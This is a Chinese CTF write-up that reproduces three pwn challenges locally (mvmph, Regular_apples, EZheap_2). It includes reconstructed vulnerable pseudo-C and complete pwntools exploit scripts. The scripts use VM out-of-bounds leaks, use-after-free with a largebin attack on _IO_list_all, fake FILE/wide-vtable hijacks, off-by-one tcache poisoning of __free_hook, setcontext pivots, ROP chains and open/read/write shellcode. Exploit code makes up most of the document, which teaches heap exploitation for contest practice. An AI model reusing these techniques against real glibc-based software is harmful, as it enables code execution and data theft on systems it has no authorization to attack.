
第九届西湖论剑·网络大赛(pwn篇)本地复现
如果有错误,请大家提醒我
说明
本文只记录已在本地成功读取 /flag/flag 的三题:mvmph、Regular_apples、EZheap_2。
附件没有提供原始 C/C++ 源码。各题的“核心源码”为依据对应 ELF 还原的伪 C;完整 payload 为实际运行过的 pwntools 脚本。
source ~/ctf/bin/activate
cd /mnt/e/DasCTF
python <payload>.py
本地 flag:DASCTF{s8scauwd9suwu29ud8sud8}。
10746 mvmph
附件:pwnbins/02/vvmm、pwnbins/02/libc.so.6
核心源码:02_mvmph.c
完整 Payload:solve_vvmm.py
核心逻辑
程序读入自定义 VM opcode 并解释执行。VM 内存操作缺乏边界约束,opcode 能访问相邻 heap 和 libc 数据。脚本中的 code = bytes.fromhex(...) 是第一阶段完整 opcode payload。
解题思路
发送第一阶段 opcode,读取返回的 32 字节泄漏,获得两个 heap 地址和 arena 指针。 arena1 - 0x21ace0得到 libc 基址;使用 heap 地址B作为 fake FILE 的落点。发送 0x400 字节第二阶段数据,在 B附近构造 fake_IO_FILE、wide data 与控制字段,使执行流进入 libc 的setcontext/栈迁移路径。脚本进入交互态,发送 cat /flag/flag获取 flag。
Payload 核心
leak = io.recvn(32)
a, b, arena1, arena2 = unpack_many(leak, 64)
libc_base = arena1 - 0x21ace0
B = b
p = bytearray(0x400)
p[0x88:0x90] = p64(B + 0x300)
p[0xa0:0xa8] = p64(B + 0x100)
p[0xd8:0xe0] = p64(libc_base + 0x2170c0)
io.send(p)
本地结果
DASCTF{s8scauwd9suwu29ud8sud8}。
10747 Regular_apples
附件:pwnbins/03/pwn、pwnbins/03/libc.so.6、pwnbins/03/ld-linux-x86-64.so.2
核心源码:03_regular_apples.c
完整 Payload:solve_regular_apples.py
核心逻辑
程序管理多个 heap apple。释放后的 entry 仍能被 show/edit,能够泄露并改写 freed chunk metadata;结合 largebin 可写入 libc 的 _IO_list_all 链表指针。
解题思路
释放两个 0x500 chunk,利用 show 泄露 unsorted bin 指针与 heap 指针。 show(0) - 0x21ace0得到 libc 基址。在 heap 上依次放置 fake FILE、wide data、wide vtable、ROP、 /flag/flag与缓冲区。ROP 使用 open -> read -> write三次 syscall 读取 flag。通过 largebin attack 写入 _IO_list_all - 0x20,再接入 fake FILE;新建 entry 触发 FILE flush,wide vtable 将栈迁移到 ROP。
Payload 核心
libc_base = show(0) - OFF_LIBC_LEAK
H0 = show(2)
file2 = H0 + 0x1450
rop = flat(
libc_base + POP_RAX, 2, libc_base + POP_RDI, path,
libc_base + POP_RSI, 0, libc_base + SYSCALL_RET,
libc_base + POP_RAX, 0, libc_base + POP_RDI, 3,
libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x80, 0,
libc_base + SYSCALL_RET,
libc_base + POP_RAX, 1, libc_base + POP_RDI, 1,
libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x80, 0,
libc_base + SYSCALL_RET,
)
edit(7, p64(0) * 3 + p64(libc_base + OFF_IO_LIST_ALL - 0x20))
本地结果
DASCTF{s8scauwd9suwu29ud8sud8}。
10767 EZheap_2
附件:pwnbins/06/附件/ezheap、pwnbins/06/附件/libc.so.6
核心源码:06_ezheap_2.c
完整 Payload:solve_ezheap2.py
核心逻辑
edit 对用户申请的 buffer 实际写入 requested + 1 字节,导致一字节 heap overflow。借此修改相邻 chunk size,实现 overlap、stdout FILE 泄露与 tcache poisoning。
解题思路
对 0x18 chunk 执行 off-by-one,把相邻 0x68 chunk 的 size 改成 0xe1;释放再申请获得重叠 chunk,并泄露 PIE。再次伪造 size,使可控分配覆盖 stdout。写入 0xfbad1800,读取 stdout FILE 字段,按stdout - 0x3ed8b0计算 libc。第二组 off-by-one 配合 tcache poisoning,让分配返回 __free_hook,写入setcontext + 53。fake context 执行 mprotect,ROP 跳到 heap shellcode;shellcode 以open/read/write读取/flag/flag。
Payload 核心
edit(0, b'\0' * 0x18 + p8(0xe1))
free(1)
add(4, 0xd8)
edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\0')
stdout_fields = io.recvn(16)
libc.address = u64(stdout_fields[8:16]) - 0x3ed8b0
edit(14, p64(setcontext))
free(15)
io.sendline(rop)
本地结果
DASCTF{s8scauwd9suwu29ud8sud8}。
汇总
wp_sources/02_mvmph.c | solve_vvmm.py | |||
wp_sources/03_regular_apples.c | solve_regular_apples.py | |||
wp_sources/06_ezheap_2.c | solve_ezheap2.py |
附录 A:完整核心伪源码
mvmph
/* Reconstructed from pwnbins/02/vvmm; original C/C++ source was not provided. */
struct vm { unsigned char code[0x400]; unsigned char *heap[8]; size_t ip; } vm;
void run_vm(void) {
while (vm.code[vm.ip] != VM_HALT) {
/* Opcode handlers use VM-controlled memory operands without bounds checks. */
dispatch(vm.code[vm.ip++], &vm);
}
}
int main(void) {
read(0, vm.code, sizeof(vm.code));
run_vm();
read(0, vm.heap[0], 0x400);
}
Regular_apples
/* Reconstructed from pwnbins/03/pwn; original C/C++ source was not provided. */
struct apple { char *data; size_t size; } apples[16];
void add(void) {
int i; size_t n;
scanf("%d%zu", &i, &n);
apples[i].data = malloc(n);
apples[i].size = n;
read(0, apples[i].data, n);
}
void edit(void) { int i; scanf("%d", &i); read(0, apples[i].data, apples[i].size); }
void del(void) { int i; scanf("%d", &i); free(apples[i].data); }
void show(void) { int i; scanf("%d", &i); write(1, apples[i].data, apples[i].size); }
/* Freed entries remain usable, exposing freed-bin metadata. */
EZheap_2
/* Reconstructed from pwnbins/06/附件/ezheap; original C/C++ source was not provided. */
struct chunk { char *data; size_t requested; } chunks[16];
void add(void) {
int i; size_t n;
scanf("%d%zu", &i, &n);
chunks[i].data = malloc(n);
chunks[i].requested = n;
}
void edit(void) {
int i; scanf("%d", &i);
read(0, chunks[i].data, chunks[i].requested + 1); /* off-by-one */
}
void del(void) { int i; scanf("%d", &i); free(chunks[i].data); }
void show(void) { int i; scanf("%d", &i); puts(chunks[i].data); }
附录 B:完整 Payload 源码
solve_vvmm.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
BIN = '/mnt/e/DasCTF/pwnbins/02/vvmm'
LIBC = '/mnt/e/DasCTF/pwnbins/02/libc.so.6'
io = process(BIN, env={'LD_PRELOAD': LIBC})
libc = ELF(LIBC)
code = bytes.fromhex('8d050f0000050000cc0000030f0000050000cc0000030e01052b01101000000f00010000000f0210000000cc0000010e06052b061010000081018102810381041f02200000001601021f04200000001603040e04010e06050f0000000000cc0000040f00010000000f0210000000cc0000010f00000000000e01030f0200040000cc0000000e0604810081021f02200000001600020e06052b00a00900000e01031b01ffffffff0e02032302200000000e06002b06040000007d010e06002b06080000007d020e06050f0000000000cc000002')
io.recvuntil(b'Please input your opcodes:\n')
io.send(code)
leak = io.recvn(32)
a, b, arena1, arena2 = unpack_many(leak, 64)
libc_base = arena1 - 0x21ace0
B = b
p = bytearray(0x400)
p[0:4] = b' sh\x00'
p[0x88:0x90] = p64(B + 0x300)
p[0xa0:0xa8] = p64(B + 0x100)
p[0xc0:0xc8] = p64(1)
p[0xd8:0xe0] = p64(libc_base + 0x2170c0)
p[0x118:0x120] = p64(0)
p[0x120:0x128] = p64(1)
p[0x130:0x138] = p64(0)
p[0x1e0:0x1e8] = p64(B + 0x200)
p[0x268:0x270] = p64(libc_base + 0x50d70)
io.send(p)
io.sendline(b'cat /flag/flag')
io.interactive()
solve_regular_apples.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
BIN = '/mnt/e/DasCTF/pwnbins/03/pwn'
LIBC = '/mnt/e/DasCTF/pwnbins/03/libc.so.6'
libc = ELF(LIBC)
io = process(BIN, env={'LD_PRELOAD': LIBC})
def add(i, s, c=b''):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'Index', str(i).encode())
io.sendlineafter(b'Size', str(s).encode())
io.sendafter(b'Content', c)
def free(i):
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'Index', str(i).encode())
def edit(i, c):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'Index', str(i).encode())
io.sendafter(b'Content', c)
def show(i):
io.sendlineafter(b'>', b'4')
io.sendlineafter(b'Index', str(i).encode())
io.recvuntil(b': \n')
return u64(io.recvn(8).ljust(8, b'\0'))
OFF_LIBC_LEAK = 0x21ace0
OFF_IO_LIST_ALL = 0x21b680
OFF_IO_WFILE_JUMPS = 0x2170c0
POP_RSP = 0x35732
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_RBX = 0x904a9
POP_RAX = 0x45eb0
SYSCALL_RET = 0x91316
MOV_RSP_RDX = 0x5a120
add(0, 0x500, b'A' * 8); add(1, 0x500, b'B' * 8)
add(2, 0x500, b'C' * 8); add(3, 0x500, b'D' * 8)
free(0); free(2)
libc_base = show(0) - OFF_LIBC_LEAK
H0 = show(2)
add(4, 0x500, b'E' * 8); add(5, 0x500, b'F' * 8)
file2 = H0 + 0x1450; wide = file2 + 0x100; wvt = file2 + 0x200
rop_addr = file2 + 0x300; path = file2 + 0x400; buf = file2 + 0x410
fake = bytearray(0x100); fake[0:8] = b'TEST\0\0\0\0'; fake[0x28:0x30] = p64(1)
fake[0x88:0x90] = p64(file2); fake[0xa0:0xa8] = p64(wide)
fake[0xd8:0xe0] = p64(libc_base + OFF_IO_WFILE_JUMPS)
wd = bytearray(0xf0); wd[0:8] = p64(libc_base + POP_RSP); wd[8:16] = p64(rop_addr); wd[0xe0:0xe8] = p64(wvt)
wvtb = bytearray(0x80); wvtb[0x68:0x70] = p64(libc_base + MOV_RSP_RDX)
rop = flat(
libc_base + POP_RAX, 2, libc_base + POP_RDI, path, libc_base + POP_RSI, 0, libc_base + SYSCALL_RET,
libc_base + POP_RAX, 0, libc_base + POP_RDI, 3, libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x80, 0, libc_base + SYSCALL_RET,
libc_base + POP_RAX, 1, libc_base + POP_RDI, 1, libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x80, 0, libc_base + SYSCALL_RET,
)
chunk = bytearray(0x500); chunk[:0x100] = fake; chunk[0x100:0x1f0] = wd; chunk[0x200:0x280] = wvtb
chunk[0x300:0x300 + len(rop)] = rop; chunk[0x400:0x40b] = b'/flag/flag\0'
add(6, 0x500, bytes(chunk))
add(7, 0x510, b'P1' * 4); add(8, 0x500, b'G1' * 4); add(9, 0x500, b'P2' * 4); add(10, 0x500, b'G2' * 4)
free(7); add(11, 0x520, b'X' * 8); free(9)
edit(7, p64(0) * 3 + p64(libc_base + OFF_IO_LIST_ALL - 0x20))
add(12, 0x520, b'Y' * 8)
f1 = bytearray(0x500); f1[0x58:0x60] = p64(file2); edit(9, bytes(f1))
io.sendlineafter(b'>', b'1'); io.sendlineafter(b'Index', b'13')
print(io.recvall(timeout=5))
solve_ezheap2.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
BIN = '/tmp/ezx/附件/ezheap'
LIBC = '/tmp/ezx/附件/libc.so.6'
LOADER = '/tmp/libc27/lib/x86_64-linux-gnu/ld-2.27.so'
libc = ELF(LIBC)
io = process([LOADER, '--library-path', '/tmp/ezx/附件', BIN], cwd='/tmp/ezx/附件')
def add(i, size):
io.sendlineafter(b'Your choice:', b'1')
io.sendlineafter(b'index:', str(i).encode())
io.sendlineafter(b'Size:', str(size).encode())
def edit(i, data):
io.sendlineafter(b'Your choice:', b'2')
io.sendlineafter(b'index:', str(i).encode())
io.sendafter(b'context: ', data)
def free(i):
io.sendlineafter(b'Your choice:', b'3')
io.sendlineafter(b'index:', str(i).encode())
def show(i):
io.sendlineafter(b'Your choice:', b'4')
io.sendlineafter(b'choose:', str(i).encode())
add(0, 0x18); add(1, 0x68); add(2, 0x68); add(3, 0x18)
edit(0, b'\0' * 0x18 + p8(0xe1)); free(1); add(4, 0xd8)
show(4); io.recvuntil(b'\n')
pie = int(io.recvn(14), 16) - 0x202160
free(2)
edit(4, b'\0' * 0x68 + p64(0x71) + p64(pie + 0x202020))
add(5, 0x68); add(6, 0x68); add(7, 0x68)
edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\0')
io.recvn(1)
stdout_fields = io.recvn(16)
libc.address = u64(stdout_fields[8:16]) - 0x3ed8b0
rdi = next(libc.search(b'\x5f\xc3')); rsi = next(libc.search(b'\x5e\xc3'))
rdx = next(libc.search(b'\x5a\xc3')); rax = next(libc.search(b'\x58\xc3'))
syscall = next(libc.search(b'\x0f\x05\xc3')); jmp_rsp = next(libc.search(b'\xff\xe4'))
free_hook = libc.sym['__free_hook']; setcontext = libc.sym['setcontext'] + 53
page = free_hook & ~0xfff
frame = (b'\0' * 0x68 + p64(0) + p64(page) + p64(0) * 2 + p64(0x2000)).ljust(0xa0, b'\0')
frame += p64(page) + p64(syscall)
add(8, 0x18); add(9, 0x58); add(10, 0x58); add(11, 0x18)
edit(8, b'\0' * 0x18 + p8(0xc1)); free(9); add(12, 0xb8); free(10)
edit(12, b'\0' * 0x58 + p64(0x61) + p64(free_hook))
add(13, 0x58); add(14, 0x58); edit(14, p64(setcontext))
add(15, 0x400); edit(15, frame); free(15)
shellcode = asm(shellcraft.open('/flag/flag'))
shellcode += asm(shellcraft.read(3, free_hook + 0x300, 0x40))
shellcode += asm(shellcraft.write(1, free_hook + 0x300, 0x40))
rop = flat(rdi, page, rsi, 0x1000, rdx, 7, rax, 10, syscall, jmp_rsp, shellcode)
io.sendline(rop)
print(io.recvall(timeout=3))